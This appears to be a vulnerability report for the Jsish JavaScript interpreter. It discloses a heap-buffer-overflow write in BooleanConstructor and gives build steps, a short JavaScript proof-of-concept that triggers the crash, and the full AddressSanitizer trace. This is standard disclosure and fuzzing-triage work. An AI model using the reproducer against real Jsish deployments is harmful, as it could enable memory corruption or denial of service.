Heap-buffer-overflow src/jsiBool.c:17 in BooleanConstructor

[hope-fly]

Jsish revision

Commit: 9fa798e

Version: v3.5.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

export CFLAGS='-fsanitize=address'
make

Test case

function JSEtest(val)
{
  Boolean.bind(a)();
  if (val < 3)
    return true;
  else
    return false;
}

var arr = new Array(10);
arr[1] = 1;
Array.prototype.unshift(arr.every(JSEtest), true, 'test');

​

Execution steps & Output

$ ./jsish/jsish poc.js

=====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040000188c0 at pc 0x55dff29d9510 bp 0x7ffc8e20b280 sp 0x7ffc8e20b270
WRITE of size 4 at 0x6040000188c0 thread T0
    #0 0x55dff29d950f in BooleanConstructor src/jsiBool.c:17
    #1 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244
    #2 0x55dff292cfec in jsi_FunctionInvoke src/jsiFunc.c:777
    #3 0x55dff292cfec in Jsi_FunctionInvoke src/jsiFunc.c:789
    #4 0x55dff29a8ad6 in jsi_FuncBindCall src/jsiProto.c:299
    #5 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244
    #6 0x55dff2c7971a in jsiFunctionSubCall src/jsiEval.c:796
    #7 0x55dff2c7971a in jsiEvalFunction src/jsiEval.c:837
    #8 0x55dff2c7971a in jsiEvalCodeSub src/jsiEval.c:1264
    #9 0x55dff2c8d15e in jsi_evalcode src/jsiEval.c:2204
    #10 0x55dff29b0834 in jsi_FuncCallSub src/jsiProto.c:220
    #11 0x55dff292cfec in jsi_FunctionInvoke src/jsiFunc.c:777
    #12 0x55dff292cfec in Jsi_FunctionInvoke src/jsiFunc.c:789
    #13 0x55dff29f3f64 in jsi_ArrayFindSubCmd src/jsiArray.c:576
    #14 0x55dff29f3f64 in jsi_ArrayEveryCmd src/jsiArray.c:663
    #15 0x55dff29af818 in jsi_FuncCallSub src/jsiProto.c:244
    #16 0x55dff2c7971a in jsiFunctionSubCall src/jsiEval.c:796
    #17 0x55dff2c7971a in jsiEvalFunction src/jsiEval.c:837
    #18 0x55dff2c7971a in jsiEvalCodeSub src/jsiEval.c:1264
    #19 0x55dff2c8d15e in jsi_evalcode src/jsiEval.c:2204
    #20 0x55dff2c91274 in jsi_evalStrFile src/jsiEval.c:2665
    #21 0x55dff298066a in Jsi_Main src/jsiInterp.c:936
    #22 0x55dff318503a in jsi_main src/main.c:47
    #23 0x7fb189dc7bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #24 0x55dff2914969 in _start (/usr/local/bin/jsish+0xe8969)

0x6040000188c0 is located 6 bytes to the right of 42-byte region [0x604000018890,0x6040000188ba)
allocated by thread T0 here:
    #0 0x7fb18aa36d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55dff2985aa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-buffer-overflow src/jsiBool.c:17 in BooleanConstructor
Shadow bytes around the buggy address:
  0x0c087fffb0c0: fa fa 00 00 00 00 00 06 fa fa 00 00 00 00 00 00
  0x0c087fffb0d0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 00
  0x0c087fffb0e0: fa fa 00 00 00 00 00 fa fa fa 00 00 00 00 00 fa
  0x0c087fffb0f0: fa fa 00 00 00 00 00 00 fa fa fd fd fd fd fd fa
  0x0c087fffb100: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
=>0x0c087fffb110: fa fa 00 00 00 00 00 02[fa]fa 00 00 00 00 00 00
  0x0c087fffb120: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb130: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb140: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb150: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
  0x0c087fffb160: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

Credits: Found by OWL337 team.